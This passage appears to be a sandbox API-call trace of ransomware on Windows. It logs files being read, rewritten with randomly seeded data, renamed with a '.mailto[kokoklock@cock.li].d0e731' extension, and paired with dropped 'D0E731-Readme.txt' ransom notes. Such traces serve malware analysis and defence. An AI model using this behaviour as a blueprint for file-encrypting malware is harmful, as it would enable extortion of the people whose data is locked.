wcscat (in: _Dest=0x3478010, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731" [0085.516] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\1__power_controls.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\1__power_controls.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.517] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478010) returned 1 [0085.517] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml", dwFileAttributes=0x20) returned 0 [0085.517] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a338 [0085.517] wcscpy (in: _Dest=0x348a338, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\" [0085.517] wcscat (in: _Dest=0x348a338, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.517] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0085.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a338) returned 1 [0085.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3483790) returned 1 [0085.517] RtlExitUserThread (Status=0x1) Thread: id = 1308 os_tid = 0x1208 [0085.519] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20 [0085.519] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml", dwFileAttributes=0x20) returned 1 [0085.520] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0085.520] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0x2dabf8f0 | out: lpFileSize=0x2dabf8f0*=3293) returned 1 [0085.520] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0xcd9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.520] ReadFile (in: hFile=0x7c4, lpBuffer=0x2dabf8c4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2dabf8c0, lpOverlapped=0x0 | out: lpBuffer=0x2dabf8c4*, lpNumberOfBytesRead=0x2dabf8c0*=0x4, lpOverlapped=0x0) returned 1 [0085.522] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.522] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.522] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda10 [0085.522] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd6f0 [0085.522] NtQuerySystemTime (in: CurrentTime=0x2dabf89c | out: CurrentTime=0x2dabf89c*=132121176434142141) returned 0x0 [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x70b15777 [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0xff93f8bc [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0xf9033149 [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0xed96b217 [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x1e520cb2 [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x6e8d6a28 [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0xf84ce0c3 [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x91d48718 [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x6cf758c1 [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x4a1c29fb [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x298cd921 [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x6415f1af [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x3ccfb8a2 [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0xbb31259d [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x8d04c67e [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0xec806a34 [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x46bacb70 [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x4ccf59c3 [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x7c41043e [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0xb592482a [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x3acd0b78 [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0xc56b2d3c [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0xd6439f41 [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x2ced0c50 [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0xe4414c43 [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x1ac03b21 [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x7790d31e [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x8047e2f9 [0085.522] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x710aafd4 [0085.523] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x3e67e3d8 [0085.523] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x27ef26ff [0085.523] RtlRandom (in: Seed=0x2dabf8a8 | out: Seed=0x2dabf8a8) returned 0x3825cb [0085.533] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0085.533] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.533] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0085.533] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0085.533] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd970 [0085.533] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd970) returned 1 [0085.533] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.533] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.533] ReadFile (in: hFile=0x7c4, lpBuffer=0x55d8058, nNumberOfBytesToRead=0xcdd, lpNumberOfBytesRead=0x2dabf89c, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2dabf89c*=0xcdd, lpOverlapped=0x0) returned 1 [0085.534] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dabf864 | out: lpNewFilePointer=0x0) returned 1 [0085.534] WriteFile (in: hFile=0x7c4, lpBuffer=0x34b8390*, nNumberOfBytesToWrite=0xcdd, lpNumberOfBytesWritten=0x2dabf898, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesWritten=0x2dabf898*=0xcdd, lpOverlapped=0x0) returned 1 [0085.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd920 [0085.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd920) returned 1 [0085.534] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd8d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2dabf894, lpOverlapped=0x0 | out: lpBuffer=0x55dd8d0*, lpNumberOfBytesWritten=0x2dabf894*=0x20, lpOverlapped=0x0) returned 1 [0085.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0085.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0085.534] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd858*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2dabf8c0, lpOverlapped=0x0 | out: lpBuffer=0x55dd858*, lpNumberOfBytesWritten=0x2dabf8c0*=0x8, lpOverlapped=0x0) returned 1 [0085.534] WriteFile (in: hFile=0x7c4, lpBuffer=0x2dabf8d8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2dabf8c0, lpOverlapped=0x0 | out: lpBuffer=0x2dabf8d8*, lpNumberOfBytesWritten=0x2dabf8c0*=0x4, lpOverlapped=0x0) returned 1 [0085.534] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2dabf8c0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2dabf8c0*=0x4, lpOverlapped=0x0) returned 1 [0085.534] WriteFile (in: hFile=0x7c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2dabf8c0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2dabf8c0*=0x6c, lpOverlapped=0x0) returned 1 [0085.535] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dda10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2dabf8c0, lpOverlapped=0x0 | out: lpBuffer=0x55dda10*, lpNumberOfBytesWritten=0x2dabf8c0*=0x20, lpOverlapped=0x0) returned 1 [0085.535] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2dabf8c0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2dabf8c0*=0x4, lpOverlapped=0x0) returned 1 [0085.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda10) returned 1 [0085.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd718) returned 1 [0085.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd858) returned 1 [0085.535] CloseHandle (hObject=0x7c4) returned 1 [0085.535] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12e) returned 0x33e8a98 [0085.535] wcscpy (in: _Dest=0x33e8a98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml" [0085.535] wcscat (in: _Dest=0x33e8a98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0085.535] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime\\0__power_policy.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.536] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.536] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8a98) returned 1 [0085.536] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml", dwFileAttributes=0x20) returned 0 [0085.536] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348ae78 [0085.536] wcscpy (in: _Dest=0x348ae78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\" [0085.536] wcscat (in: _Dest=0x348ae78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.536] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime\\d0e731-readme.txt")) returned 0xffffffff [0085.536] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0085.537] WriteFile (in: hFile=0x7c4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2dabf8bc, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2dabf8bc*=0x481, lpOverlapped=0x0) returned 1 [0085.537] CloseHandle (hObject=0x7c4) returned 1 [0085.538] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348ae78) returned 1 [0085.538] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482620) returned 1 [0085.538] RtlExitUserThread (Status=0x1) Thread: id = 1309 os_tid = 0x1210 [0085.521] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20 [0085.539] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml", dwFileAttributes=0x20) returned 1 [0085.539] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0085.539] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0x2db3f948 | out: lpFileSize=0x2db3f948*=935) returned 1 [0085.539] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x3a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.539] ReadFile (in: hFile=0x7c4, lpBuffer=0x2db3f91c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2db3f918, lpOverlapped=0x0 | out: lpBuffer=0x2db3f91c*, lpNumberOfBytesRead=0x2db3f918*=0x4, lpOverlapped=0x0) returned 1 [0085.541] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.541] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.541] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda10 [0085.541] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd718 [0085.541] NtQuerySystemTime (in: CurrentTime=0x2db3f8f4 | out: CurrentTime=0x2db3f8f4*=132121176434298304) returned 0x0 [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0xc86ca06a [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0xcb6faf44 [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0xff6d029c [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0xb7344d2d [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0x96a537dc [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0x77a9be7c [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0x502025c7 [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0xd7abd41f [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0x4714ecdb [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0xc0fb3086 [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0xf58c3aca [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0x101bd166 [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0xdcf5b24a [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0xba1682f3 [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0xf1b00902 [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0x3977724f [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0x86dd4b56 [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0x3bf9d0a7 [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0xa7a3a445 [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0xfafa6507 [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0xc669a8c3 [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0x2dff0848 [0085.541] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0x4d2fa4ae [0085.542] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0xf07329e8 [0085.542] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0xfb27fbe9 [0085.542] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0x3618e9bd [0085.542] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0x4e3105fa [0085.542] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0x65088a0a [0085.542] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0xdce4241c [0085.542] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0x8ae358f9 [0085.542] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0x9f3c88e7 [0085.542] RtlRandom (in: Seed=0x2db3f900 | out: Seed=0x2db3f900) returned 0xd5cc582e [0085.552] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0085.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0085.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0085.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd970 [0085.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd970) returned 1 [0085.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.553] ReadFile (in: hFile=0x7c4, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x3a7, lpNumberOfBytesRead=0x2db3f8f4, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2db3f8f4*=0x3a7, lpOverlapped=0x0) returned 1 [0085.553] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2db3f8bc | out: lpNewFilePointer=0x0) returned 1 [0085.553] WriteFile (in: hFile=0x7c4, lpBuffer=0x34b8390*, nNumberOfBytesToWrite=0x3a7, lpNumberOfBytesWritten=0x2db3f8f0, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesWritten=0x2db3f8f0*=0x3a7, lpOverlapped=0x0) returned 1 [0085.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd920 [0085.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd920) returned 1 [0085.553] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd8d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2db3f8ec, lpOverlapped=0x0 | out: lpBuffer=0x55dd8d0*, lpNumberOfBytesWritten=0x2db3f8ec*=0x20, lpOverlapped=0x0) returned 1 [0085.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0085.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0085.553] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd858*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2db3f918, lpOverlapped=0x0 | out: lpBuffer=0x55dd858*, lpNumberOfBytesWritten=0x2db3f918*=0x8, lpOverlapped=0x0) returned 1 [0085.554] WriteFile (in: hFile=0x7c4, lpBuffer=0x2db3f930*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2db3f918, lpOverlapped=0x0 | out: lpBuffer=0x2db3f930*, lpNumberOfBytesWritten=0x2db3f918*=0x4, lpOverlapped=0x0) returned 1 [0085.554] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2db3f918, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2db3f918*=0x4, lpOverlapped=0x0) 